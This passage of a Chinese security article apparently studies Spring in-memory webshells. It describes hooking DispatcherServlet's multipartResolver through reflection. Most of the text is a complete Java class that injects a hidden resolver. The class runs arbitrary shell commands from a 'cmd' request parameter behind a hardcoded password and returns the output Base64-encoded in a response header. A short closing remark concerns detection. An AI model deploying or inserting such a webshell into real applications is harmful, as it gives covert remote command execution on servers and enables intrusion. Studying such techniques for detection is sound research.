我们知道，在SpringWeb中，可以通过RequestContextHolder直接拿到当前的request和response。

HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

因此两个前提在Spring是天然满足的，只要能够hook路由处理上的某些方法即可，只不过需要关心一些回显的一些细节。

3.4.1 hook DispatcherServlet.MultipartResolver

观察DispatcherServlet的doDispatch方法，在一开始会有一段判断是否为Multipart请求的过程。

继续跟进会发现会涉及multipartResolver来处理request。

因此，也可以通过hook DispatcherServlet的multipartResolver属性，来达到内存马的目的。不过不能在multipartResolver直接终止后续的过程返回，因此这里选择了将结果写到响应头，避免直接写到响应体被覆盖。

public class MultipartResolverDelegateShell  implements MultipartResolver{
    private MultipartResolver resolverDelegate;
    public String injectShell() throws Exception{        DispatcherServlet servlet = new Util().getServlet();        Field field = Util.getField(DispatcherServlet.class,"multipartResolver");        MultipartResolver multipartResolver = (MultipartResolver) field.get(servlet);        MultipartResolverDelegateShell multipartResolverDelegateShell = new MultipartResolverDelegateShell(multipartResolver);        field.set(servlet,multipartResolverDelegateShell);        return "{\"\result\":\"injectMultipartResolverDelegateShell\"}";    }
    public MultipartResolverDelegateShell(){    }
    public MultipartResolverDelegateShell(MultipartResolver resolverDelegate){        this.resolverDelegate = resolverDelegate;    }
    @Override    public boolean isMultipart(HttpServletRequest request) {        String passwd = request.getParameter("mypasswd");        String cmd = request.getParameter("cmd");        if (passwd!=null && cmd!=null && passwd.equals("ape1ron") && !cmd.isEmpty()){            try {                HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();                boolean islinux = true;                String osType = System.getProperty("os.name");                if (osType !=null && osType.toLowerCase().contains("win")){                    islinux = false;                }                String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};                InputStream in = null;                in = Runtime.getRuntime().exec(cmds).getInputStream();                Scanner s = new Scanner(in).useDelimiter("\\A");                String output = s.hasNext() ? s.next() : "";                response.setHeader("result",new String(Base64.getEncoder().encode(output.getBytes())));            } catch (IOException e) {                throw new RuntimeException(e);            }        }        if(this.resolverDelegate != null){            return this.resolverDelegate.isMultipart(request);        }        return false;    }
    @Override    public MultipartHttpServletRequest resolveMultipart(HttpServletRequest request) throws MultipartException {        if(this.resolverDelegate != null){            return this.resolverDelegate.resolveMultipart(request);        }        return null;    }
    @Override    public void cleanupMultipart(MultipartHttpServletRequest request) {        if(this.resolverDelegate != null){            this.resolverDelegate.cleanupMultipart(request);        }    }}

Spring内存马的变化形式非常多，不能单纯依赖从某个HandlerMapping取出对象来判断，也不能依靠对象类型来进行判断。


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg2MDY2ODc5MA==&mid=2247483744&idx=1&sn=42bf03b6a023c56ccd2344e5ba925e03&chksm=ce239779f9541e6f5ee4265390560c8ae27153ca87a8f18489d445483399ee15cdb88dfa9b63&scene=58&subscene=0#rd
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